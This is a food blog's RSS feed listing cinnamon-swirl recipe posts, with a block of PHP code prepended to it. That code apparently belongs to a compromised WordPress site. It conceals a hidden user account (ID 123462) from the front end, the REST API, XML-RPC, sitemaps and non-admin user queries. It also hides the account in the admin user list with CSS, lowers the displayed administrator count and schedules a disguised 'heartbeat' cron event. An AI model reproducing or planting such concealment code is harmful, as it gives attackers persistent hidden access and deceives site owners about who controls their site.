add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 123462;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cinnamon Swirl &#8211; Damn That Looks Good</title>
	<atom:link href="https://damnthatlooksgood.com/category/cinnamon-swirl/feed/" rel="self" type="application/rss+xml" />
	<link>https://damnthatlooksgood.com</link>
	<description>A Food Blog Of Delicious Dinners, Desserts &#38; More</description>
	<lastBuildDate>Fri, 30 Dec 2016 17:58:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.23</generator>
	<item>
		<title>Walnut Cinnamon Swirl Bread</title>
		<link>https://damnthatlooksgood.com/walnut-cinnamon-swirl-bread/</link>
					<comments>https://damnthatlooksgood.com/walnut-cinnamon-swirl-bread/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 30 Dec 2016 17:58:33 +0000</pubDate>
				<category><![CDATA[Bread]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<category><![CDATA[Walnuts]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=86820</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-86821" src="http://damnthatlooksgood.com/wp-content/uploads/2016/12/d1walnutcinamonswirlbread.jpg" alt="" width="600" height="738" srcset="https://damnthatlooksgood.com/wp-content/uploads/2016/12/d1walnutcinamonswirlbread.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2016/12/d1walnutcinamonswirlbread-244x300.jpg 244w" sizes="(max-width: 600px) 100vw, 600px" /></p><p>The post <a href="https://damnthatlooksgood.com/walnut-cinnamon-swirl-bread/" target="_blank">Walnut Cinnamon Swirl Bread</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/walnut-cinnamon-swirl-bread/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Nutella Stuffed Churros</title>
		<link>https://damnthatlooksgood.com/nutella-stuffed-churros/</link>
					<comments>https://damnthatlooksgood.com/nutella-stuffed-churros/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 09 Oct 2015 19:48:22 +0000</pubDate>
				<category><![CDATA[Churros]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<category><![CDATA[Nutella]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=86011</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-86012" src="http://damnthatlooksgood.com/wp-content/uploads/2015/10/d1nutellastuffedchurros.jpg" alt="d1nutellastuffedchurros" width="600" height="900" /></p><p>The post <a href="https://damnthatlooksgood.com/nutella-stuffed-churros/" target="_blank">Nutella Stuffed Churros</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/nutella-stuffed-churros/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Apple Cinnamon Crepes</title>
		<link>https://damnthatlooksgood.com/apple-cinnamon-crepes/</link>
					<comments>https://damnthatlooksgood.com/apple-cinnamon-crepes/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 06 Oct 2015 23:07:33 +0000</pubDate>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Breakfast]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<category><![CDATA[Crepes]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=86005</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-86006" src="http://damnthatlooksgood.com/wp-content/uploads/2015/10/d1applecinnamoncrepes.jpg" alt="d1applecinnamoncrepes" width="600" height="899" /></p><p>The post <a href="https://damnthatlooksgood.com/apple-cinnamon-crepes/" target="_blank">Apple Cinnamon Crepes</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/apple-cinnamon-crepes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Apple Cinnamon Crumb Pie</title>
		<link>https://damnthatlooksgood.com/apple-cinnamon-crumb-pie/</link>
					<comments>https://damnthatlooksgood.com/apple-cinnamon-crumb-pie/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 14 Nov 2014 18:38:37 +0000</pubDate>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Caramel]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<category><![CDATA[Ice Cream]]></category>
		<category><![CDATA[Pie]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=85319</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=85319"><img loading="lazy" class="alignnone size-full wp-image-85316" src="http://damnthatlooksgood.com/wp-content/uploads/2014/11/d2applecinnamoncrumbpie.jpg" alt="d2(applecinnamoncrumbpie" width="600" height="325" /></a></p><p>The post <a href="https://damnthatlooksgood.com/apple-cinnamon-crumb-pie/" target="_blank">Apple Cinnamon Crumb Pie</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/apple-cinnamon-crumb-pie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cinnamon Crunch Skillet Bread</title>
		<link>https://damnthatlooksgood.com/cinnamon-crunch-skillet-bread/</link>
					<comments>https://damnthatlooksgood.com/cinnamon-crunch-skillet-bread/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 22 Oct 2014 22:59:21 +0000</pubDate>
				<category><![CDATA[Cinnamon Roll]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=85234</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=85234"><img loading="lazy" class="alignnone size-full wp-image-85231" src="http://damnthatlooksgood.com/wp-content/uploads/2014/10/d2cinnamoncrunchskilletbread.jpg" alt="d2(cinnamoncrunchskilletbread" width="600" height="325" /></a></p><p>The post <a href="https://damnthatlooksgood.com/cinnamon-crunch-skillet-bread/" target="_blank">Cinnamon Crunch Skillet Bread</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/cinnamon-crunch-skillet-bread/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cinnamon Sugar Pretzel Bites</title>
		<link>https://damnthatlooksgood.com/cinnamon-sugar-pretzel-bites/</link>
					<comments>https://damnthatlooksgood.com/cinnamon-sugar-pretzel-bites/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 15 Sep 2014 21:31:05 +0000</pubDate>
				<category><![CDATA[Cinnamon Swirl]]></category>
		<category><![CDATA[Pretzel Bun]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=85116</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=85116"><img loading="lazy" class="alignnone size-full wp-image-85117" src="http://damnthatlooksgood.com/wp-content/uploads/2014/09/d1cinsugarpretzelbites.jpg" alt="d1(cinsugarpretzelbites)" width="600" height="325" /></a></p><p>The post <a href="https://damnthatlooksgood.com/cinnamon-sugar-pretzel-bites/" target="_blank">Cinnamon Sugar Pretzel Bites</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/cinnamon-sugar-pretzel-bites/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cinnamon Swirl Banana Crumb Bread</title>
		<link>https://damnthatlooksgood.com/cinnamon-swirl-banana-crumb-bread/</link>
					<comments>https://damnthatlooksgood.com/cinnamon-swirl-banana-crumb-bread/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 25 Mar 2014 23:31:51 +0000</pubDate>
				<category><![CDATA[Bananas]]></category>
		<category><![CDATA[Cinnamon Swirl]]></category>
		<guid isPermaLink="false">http://damnthatlooksgood.com/?p=84424</guid>

					<description><![CDATA[]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=84424"><img loading="lazy" class="alignnone  wp-image-84419" alt="cinnamonswirlbananacrumbbread" src="http://damnthatlooksgood.com/wp-content/uploads/2014/03/cinnamonswirlbananacrumbbread.jpg" width="600" height="325" /></a></p><p>The post <a href="https://damnthatlooksgood.com/cinnamon-swirl-banana-crumb-bread/" target="_blank">Cinnamon Swirl Banana Crumb Bread</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
					<wfw:commentRss>https://damnthatlooksgood.com/cinnamon-swirl-banana-crumb-bread/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>